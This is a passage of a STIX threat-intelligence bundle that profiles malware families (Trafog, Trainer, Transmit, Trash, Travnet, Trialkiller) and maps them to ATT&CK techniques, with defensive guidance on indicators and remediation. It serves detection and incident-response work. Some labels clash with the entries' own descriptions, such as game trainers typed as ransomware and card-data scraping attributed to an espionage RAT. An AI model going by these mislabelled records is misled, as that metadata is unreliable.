      "description": "Trojan:Win32/Trafog is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Trafog</b><br>To an end-user, a Trafog infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Trafog is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Trafog is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Trafog frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Trafog reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trafog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trafog"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36c16e3f-1174-5dfa-bcb6-dd13fa3c7dde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09ceb3c9-55e2-540d-a648-a33a9f140062",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trafog exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb24b8de-4ebe-5a3b-9789-8340eaf089e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09ceb3c9-55e2-540d-a648-a33a9f140062",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trafog exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41f993b1-fa35-5e35-a1c4-3a794a68fbd5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09ceb3c9-55e2-540d-a648-a33a9f140062",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trafog exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--184f154a-2fbc-505f-a6e5-6c1a91dca514",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09ceb3c9-55e2-540d-a648-a33a9f140062",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trafog exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbca3313-b21c-5dbf-bb27-9f5dbb6800a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09ceb3c9-55e2-540d-a648-a33a9f140062",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trafog exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9adaf11d-748d-5858-a478-ef5ea1330b5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trainer",
      "description": "<h3>Executive Summary</h3>\nIn the context of malware analysis, \"Trainer\" (or HackTool.Trainer) refers to software designed to modify the memory of a running video game to alter its behavior (e.g., granting infinite health or resources). While the trainers themselves are technically \"HackTools\" used for cheating, they are notoriously one of the most common vectors for delivering severe malware. Threat actors aggressively bundle Trojans, Info Stealers, and Ransomware within these trainers, exploiting the target demographic's willingness to disable their antivirus software to run the \"cheat.\"\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThe infection vector relies entirely on social engineering. Users actively seek out and download Trainers from unregulated forums, peer-to-peer networks, or YouTube video descriptions. Because Trainers inherently must inject code into another process (the game) to function, they are legitimately flagged by AV. Attackers leverage this, instructing users to \"disable your antivirus to run the trainer,\" guaranteeing the execution of the hidden payload.\n\nUpon execution, a weaponized Trainer performs a dual-action:\n<ul>\n<li><strong>The Distraction (Game Modification):</strong> The application may actually function as advertised, utilizing Windows APIs like `WriteProcessMemory` to patch the game's execution in RAM. This serves as a distraction, keeping the user satisfied and unaware of the background activity.</li>\n<li><strong>The Payload (Silent Dropping):</strong> While the game is being patched, the Trainer silently extracts a hidden, secondary executable (the true malware payload) to a temporary directory and executes it.</li>\n<li><strong>Typical Payloads:</strong> Weaponized trainers are most frequently bundled with Info Stealers (like RedLine or Raccoon Stealer) to harvest game account credentials, discord tokens, and cryptocurrency wallets, or Cryptominers to hijack the victim's high-end gaming hardware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of a \"Trainer\" on a corporate or BYOD endpoint is a significant security risk. It indicates a user who is actively bypassing security controls (disabling AV) and executing highly untrusted code from the dark web. The resulting infection is almost always a severe Info Stealer compromise.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Contextual Verification:</strong> Identify the specific executable flagged as a Trainer. The primary concern is not the cheat tool itself, but the secondary payload it likely dropped.</li>\n<li><strong>Deep Anti-Malware Sweep:</strong> Run a comprehensive, full-system scan using an enterprise EDR/AV solution to locate the hidden info-stealers, rootkits, or cryptominers that were silently installed alongside the Trainer.</li>\n<li><strong>Credential Reset:</strong> Because Info Stealers are the most common payload bundled with these tools, immediately mandate a password reset for all corporate credentials used on that endpoint, and strongly advise the user to secure their personal accounts.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Trainer",
        "Riskware.GameHack",
        "Trojan.Dropper.Trainer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trainer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trainer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca22eee5-6917-5b5b-94e3-4244ae9c65ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9adaf11d-748d-5858-a478-ef5ea1330b5a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trainer exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28d1d8b9-a2fe-53c8-accf-c6da89196002",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9adaf11d-748d-5858-a478-ef5ea1330b5a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trainer exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--820b2527-0446-5798-9167-9cb7e8062d40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9adaf11d-748d-5858-a478-ef5ea1330b5a",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trainer exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--886a0693-5847-5860-9c16-e1e5ba35f178",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Transmit",
      "description": "<h3>Executive Summary</h3>\nTransmit is typically detected as a \"HackTool\" or Riskware. It refers to the malicious or unauthorized use of legitimate network transmission and tunneling utilities (often custom-compiled versions of tools like netcat, socat, or plink) by threat actors. Once an attacker has established a beachhead, these tools are utilized to create covert communication channels, bypass network segmentation, and rapidly exfiltrate stolen data out of the compromised environment.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTransmit tools are not usually the initial infection vector. They are deployed post-compromise, typically dropped by an initial Trojan downloader or manually uploaded by an attacker who has gained interactive access to a server (e.g., via compromised RDP or an exploited web application).\n\nTechnically, these tools facilitate advanced network manipulation:\n<ul>\n<li><strong>Reverse Shells:</strong> The primary use is establishing a reverse shell, where the compromised internal machine initiates an outbound connection to an external attacker-controlled server, effectively bypassing inbound firewall restrictions.</li>\n<li><strong>Port Forwarding and Pivoting:</strong> Attackers use these utilities to create encrypted tunnels through the infected host. This allows them to route their attack traffic through the compromised machine to attack other, heavily segmented internal servers (lateral movement) that are not directly accessible from the internet.</li>\n<li><strong>Data Exfiltration:</strong> Transmit tools are highly efficient at piping the output of credential dumps or compressed archives of stolen intellectual property directly over the network to external drop servers, often utilizing non-standard ports to evade basic monitoring.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a \"Transmit\" tool on a server or workstation is a severe Indicator of Compromise (IOC). It strongly suggests that an active, human-driven intrusion is underway, and the attacker is actively setting up infrastructure for deep lateral movement and massive data exfiltration.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Identify the Parent Process:</strong> Do not just delete the tool. Incident responders must use EDR to identify *how* the tool was executed (the parent process). Was it spawned by a compromised web service (like IIS or Apache), a malicious macro, or a scheduled task?</li>\n<li><strong>Sever the Network Connection:</strong> Immediately isolate the machine from the network to kill the active reverse shell or data exfiltration tunnel.</li>\n<li><strong>Egress Filtering Review:</strong> Review firewall logs to identify the external IP address the tool was connecting to. Block this IP network-wide and hunt for any other internal hosts communicating with it. Enforce strict outbound firewall rules (egress filtering) to block all non-essential outbound traffic from internal servers.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Transmit",
        "Riskware.Netcat",
        "Tool.Tunnel"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Transmit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/transmit"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1efcfea-28b3-5bd2-b388-9d649f54e4b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--886a0693-5847-5860-9c16-e1e5ba35f178",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Transmit exhibits technique T1090 (Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84fe8781-effc-5f22-9ff0-46fd317277c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--886a0693-5847-5860-9c16-e1e5ba35f178",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Transmit exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--fd3edcc6-6b81-5e5f-9aa1-ec5ea6573304",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1572: Protocol Tunneling",
      "description": "MITRE ATT&CK Technique T1572 (Protocol Tunneling) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1572",
          "url": "https://attack.mitre.org/techniques/T1572/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6d50f52-915c-57f9-8e7b-8a082cd956db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--886a0693-5847-5860-9c16-e1e5ba35f178",
      "target_ref": "attack-pattern--fd3edcc6-6b81-5e5f-9aa1-ec5ea6573304",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Transmit exhibits technique T1572 (Protocol Tunneling)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--25d65299-a4c7-5684-bd97-ffb2c104fae1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trash",
      "description": "PUA:Win32/Trash is a generic, heuristic classification used by Windows Defender and other security engines to flag executables that exhibit exceptionally low reputation, poor coding practices, or deceptive behaviors typically associated with low-tier 'junkware', aggressive adware bundlers, or poorly written malware droppers. It is a catch-all category for software that is highly suspicious but lacks the definitive signature of a major malware family.<br><br><b>Understanding 'Trash' Heuristics</b><br>To an end-user, an alert for 'Trash' usually occurs immediately after downloading a questionable file from a torrent site, a fake software crack portal, or a shady freeware aggregator. For a security analyst, this alert indicates that the user is engaging in high-risk browsing behavior. The flagged file is likely a wrapper designed to drop adware, or a poorly obfuscated trojan stager that triggered machine-learning defenses based on its structural anomalies.<br><br><b>Behaviors Flagged as Trash</b><br>Files categorized as Trash often lack digital signatures or use invalid certificates (`T1036.001`). Upon execution (`T1204.002`), they frequently attempt to drop secondary files into temporary directories (`%Temp%`) or attempt clumsy modifications to the Registry Run keys for persistence (`T1547.001`). The engine flags them because they utilize packers commonly abused by malware (like UPX or Themida), or because their imports/exports resemble those of known downloaders. They are often part of Pay-Per-Install (PPI) adware networks, attempting to silently install browser hijackers (`T1176`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from simple annoyance (adware) to potential system compromise (if the 'Trash' file was actually a stager for a RAT). Incident responders should treat the alert as a warning sign of poor user hygiene. Investigate the source URL of the downloaded file. Use EDR to verify that the file was successfully quarantined before it could spawn any child processes or establish outbound network connections. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trash",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trash"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2948cc3-5261-56be-b44c-c55a585ec5ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25d65299-a4c7-5684-bd97-ffb2c104fae1",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trash exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--4ef44416-c5ed-5bae-aa0a-63a6e521804f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1036.001: Masquerading: Invalid Code Signature",
      "description": "MITRE ATT&CK Technique T1036.001 (Masquerading: Invalid Code Signature) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1036.001",
          "url": "https://attack.mitre.org/techniques/T1036/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da495246-b101-5fae-adc6-9e95682bef47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25d65299-a4c7-5684-bd97-ffb2c104fae1",
      "target_ref": "attack-pattern--4ef44416-c5ed-5bae-aa0a-63a6e521804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trash exhibits technique T1036.001 (Masquerading: Invalid Code Signature)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3902c20-df32-5cfa-be21-a2b5b699e4e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25d65299-a4c7-5684-bd97-ffb2c104fae1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trash exhibits technique T1547.001 (Boot or Logon Autostart Execution (Clumsy persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6fb1ce3-bfc4-5339-96e9-1930d83e7acd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25d65299-a4c7-5684-bd97-ffb2c104fae1",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trash exhibits technique T1189 (Drive-by Compromise (Shady freeware sites))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--81491f5d-de6a-5ed3-813c-5f670e97e537",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Travnet",
      "description": "<h3>Executive Summary</h3>\nTravNet (also widely tracked as NetTraveler) is a sophisticated Remote Access Trojan (RAT) and information-stealing framework heavily utilized in targeted cyber-espionage campaigns. Active for over a decade, it is frequently associated with state-sponsored or highly organized threat actors targeting diplomatic, government, and military entities, particularly in the Asia-Pacific and European regions.\n\n<h3>Technical Architecture and Espionage Capabilities</h3>\nTravNet is predominantly delivered via highly targeted spear-phishing emails containing malicious Microsoft Office documents that exploit known, but often unpatched, vulnerabilities (e.g., CVE-2012-0158) to silently drop the RAT.\n\nOnce executed, TravNet establishes a deep foothold designed for long-term intelligence gathering:\n<ul>\n<li><strong>Extensive Data Exfiltration:</strong> TravNet is specifically engineered to locate and steal sensitive documents. It actively searches the file system for specific extensions (e.g., `.doc`, `.xls`, `.ppt`, `.pdf`, `.txt`) and silently uploads them to a remote command-and-control (C2) server.</li>\n<li><strong>System and User Monitoring:</strong> The RAT includes comprehensive keylogging capabilities, capturing all typed keystrokes, clipboard contents, and taking periodic screenshots of the victim's desktop.</li>\n<li><strong>Covert C2 Infrastructure:</strong> TravNet often utilizes compromised legitimate websites, custom encrypted protocols, or cloud services to mask its C2 communication, making the exfiltration traffic incredibly difficult to distinguish from normal web browsing.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nA TravNet compromise is a critical national security and corporate espionage incident. The primary objective is the theft of classified intelligence, intellectual property, and strategic communications, directly undermining the security of the targeted organization.\n\n<h3>Defense and Resilience Strategies</h3>\n<ul>\n<li><strong>Strict Patch Management:</strong> TravNet relies heavily on exploiting older Office vulnerabilities. Ensure rapid, automated patching of all Microsoft Office products and operating systems across the enterprise.</li>\n<li><strong>EDR and Behavioral Analytics:</strong> Standard antivirus is often ineffective against customized APT tools. Deploy EDR solutions tuned to detect anomalous processes spawning from Office applications (e.g., `winword.exe` spawning `cmd.exe` or `powershell.exe`).</li>\n<li><strong>Network Traffic Analysis:</strong> Monitor edge firewalls for persistent, anomalous outbound connections (beaconing) to unknown IP addresses or unusually large data transfers indicating document exfiltration.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "APT.NetTraveler",
        "Trojan.TravNet",
        "Spyware.NetTraveler"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Travnet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/travnet"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5ca667e-0465-5606-8951-d1d9a3a89bca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--81491f5d-de6a-5ed3-813c-5f670e97e537",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Travnet exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67f73723-ec99-5523-adce-32f4faba6610",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--81491f5d-de6a-5ed3-813c-5f670e97e537",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Travnet exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f5a51ef-09c3-5be5-8a57-0f5f5d8c11fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--81491f5d-de6a-5ed3-813c-5f670e97e537",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Travnet exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b297fd52-0b1a-52d2-afa1-331c0c53488b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--81491f5d-de6a-5ed3-813c-5f670e97e537",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Travnet exhibits technique T1005 (Data from Local System (Scraping RAM for Track 1/Track 2 data))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--10d29df8-8a69-5e97-b101-3832e0d8fc71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trialkiller",
      "description": "<h3>Executive Summary</h3>\nTrialKiller (also known as a \"Crack,\" \"Keygen,\" or \"Patcher\") is classified as a HackTool. Its primary, stated purpose is software piracy\u2014specifically, illegally circumventing the licensing enforcement, trial periods, or Digital Rights Management (DRM) protections of commercial software. While the tool itself is designed for piracy rather than data destruction, it poses a massive security risk to enterprise environments due to its origins and the behaviors it employs.\n\n<h3>Technical Capabilities and Security Risks</h3>\nTrialKillers are almost exclusively downloaded from untrustworthy sources, such as torrent trackers, peer-to-peer (P2P) networks, or shady \"warez\" websites.\n\nTheir execution introduces severe risks to the host system:\n<ul>\n<li><strong>Code Modification (Patching):</strong> To bypass DRM, the tool must physically alter the binary code (`.exe` or `.dll` files) of the target application. This breaks the digital signature of the software, making it impossible to verify its integrity, and often introduces instability.</li>\n<li><strong>Deep System Hooks:</strong> Many modern TrialKillers require administrative privileges to install rootkit-like drivers or modify core Windows Registry keys to spoof the system date (resetting trial periods) or intercept licensing checks.</li>\n<li><strong>Malware Bundling (The Real Threat):</strong> The most significant threat is that cybercriminals heavily weaponize TrialKillers. Because the user *expects* their antivirus to flag a \"crack\" (and often disables their AV to run it), attackers routinely bundle devastating payloads\u2014such as ransomware, info-stealers, or botnet clients\u2014directly inside the TrialKiller executable.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of a TrialKiller in a corporate environment is a major compliance and security violation. It indicates active software piracy, which carries legal and financial repercussions. More importantly, it demonstrates a complete bypass of security policies and a high probability that the user has inadvertently infected the system with a severe secondary payload.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Endpoint Isolation and Sweep:</strong> Isolate the machine and perform a comprehensive deep scan using enterprise EDR tools. The focus should not just be on removing the \"crack,\" but actively hunting for the info-stealer or backdoor that was likely bundled with it.</li>\n<li><strong>Remove Pirated Software:</strong> The target application that was illegally modified must be completely uninstalled, as its integrity has been permanently compromised. Reinstall the software from a legitimate source and apply a valid corporate license.</li>\n<li><strong>User Education and Policy Enforcement:</strong> The incident requires immediate intervention with the end-user. Reinforce Acceptable Use Policies (AUP) regarding software installation and the severe dangers of downloading executables from untrusted networks.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.TrialKiller",
        "Riskware.Crack",
        "Win32/Keygen"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trialkiller",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trialkiller"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8980162a-2dcf-51fc-b7d4-58785f509630",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10d29df8-8a69-5e97-b101-3832e0d8fc71",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trialkiller exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06336175-677c-5309-b78c-7a3325e6994d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10d29df8-8a69-5e97-b101-3832e0d8fc71",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trialkiller exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f11788a5-c4d2-5e24-b878-c52a8e8de183",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10d29df8-8a69-5e97-b101-3832e0d8fc71",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trialkiller exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55abf7d2-f79f-5672-be64-cffa2ca9cc41",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10d29df8-8a69-5e97-b101-3832e0d8fc71",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
